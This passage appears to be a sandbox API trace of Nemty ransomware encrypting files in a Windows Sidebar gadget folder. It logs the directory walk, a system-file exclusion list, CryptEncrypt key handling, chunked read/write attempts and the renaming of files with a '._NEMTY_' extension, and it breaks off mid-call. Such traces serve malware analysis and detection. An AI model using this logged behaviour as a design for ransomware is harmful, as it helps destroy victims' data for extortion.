hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0133.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0133.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0133.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x31e4cd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x31e4cd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0133.340] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0133.340] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x31e4cd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x31e4cd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0133.340] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0133.340] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0133.340] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbf39ab, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fbf39ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xecdc, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="main.js", cAlternateFileName="")) returned 1 [0133.340] lstrcmpiW (lpString1="main.js", lpString2=".") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="..") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="...") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="windows") returned -1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="$RECYCLE.BIN") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="rsa") returned -1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="NTDETECT.COM") returned -1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="ntldr") returned -1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="MSDOS.SYS") returned -1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="IO.SYS") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="boot.ini") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="boot.ini") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="AUTOEXEC.BAT") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="ntuser.dat") returned -1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="desktop.ini") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="CONFIG.SYS") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="RECYCLER") returned -1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="BOOTSECT.BAK") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="bootmgr") returned 1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="programdata") returned -1 [0133.341] lstrcmpiW (lpString1="main.js", lpString2="appdata") returned 1 [0133.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0133.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.js", lpUsedDefaultChar=0x0) returned 7 [0133.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0133.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.js", lpUsedDefaultChar=0x0) returned 7 [0133.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0133.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x653ec20, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.js", lpUsedDefaultChar=0x0) returned 7 [0133.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0133.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="main.js", cchWideChar=7, lpMultiByteStr=0x653ec58, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="main.js", lpUsedDefaultChar=0x0) returned 7 [0133.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0133.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0133.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0133.341] Sleep (dwMilliseconds=0x5) [0133.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x320ae30, dwHighDateTime=0x1d561e8)) [0133.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x320ae30, dwHighDateTime=0x1d561e8)) [0133.346] GetLastError () returned 0xb7 [0133.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0133.347] GetLastError () returned 0xb7 [0133.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0133.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.347] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0133.347] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0133.347] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0133.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340158 [0133.347] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340158, pcchString=0x653e91c | out: pszString="UhsnDqa8VxyHuXQaeFHXA0+7dFGArxV+DGsLPtWPJhH0B+4KCwxPzW4vJuyi5HCv\r\nknC9JBdfHUcWLD0FEBhfysx+kBgbbEHS27QA/acIugpWAMdwf844p6TOaDPJlkFd\r\n/KB5INA6AlaXRTeFUIYBe29sR5L+c2DFdXl8sjOEyIQ/3qmeX026q958z3NLFcdZ\r\ndfSfAPYamMoXh8suDZuzJ1YZZQpYF/of7lN0TnlDHtoQg+fSJoAX3gWKyR4qXqSu\r\nZiObkleqKsXaGg0VLQ8dglz2edsvZN6M3KVPYXjJOABIPu3JMLoesl9ms51hCtqT\r\nbtnUpp7Te+yJBEtTkCviYg==\r\n", pcchString=0x653e91c) returned 1 [0133.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0133.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0133.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0133.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340158 [0133.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0133.347] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\main.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0133.347] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0133.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0133.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.423] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.444] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0133.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0133.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340158, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0133.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0133.456] CloseHandle (hObject=0xffffffff) returned 0 [0133.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0133.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0133.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0133.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0133.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0133.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0133.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0133.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0133.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0133.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\main.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\main.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\main.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\main.js._nemty_kgobjgd_")) returned 0 [0133.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0133.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0133.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0133.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0133.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0133.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0133.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0133.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0133.457] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x71a8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings.js", cAlternateFileName="")) returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2=".") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="..") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="...") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="windows") returned -1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="$RECYCLE.BIN") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="rsa") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="NTDETECT.COM") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="ntldr") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="MSDOS.SYS") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="IO.SYS") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="boot.ini") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="boot.ini") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="AUTOEXEC.BAT") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="ntuser.dat") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="desktop.ini") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="CONFIG.SYS") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="RECYCLER") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="BOOTSECT.BAK") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="bootmgr") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="programdata") returned 1 [0133.457] lstrcmpiW (lpString1="settings.js", lpString2="appdata") returned 1 [0133.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0133.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0133.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.js", lpUsedDefaultChar=0x0) returned 11 [0133.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0133.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 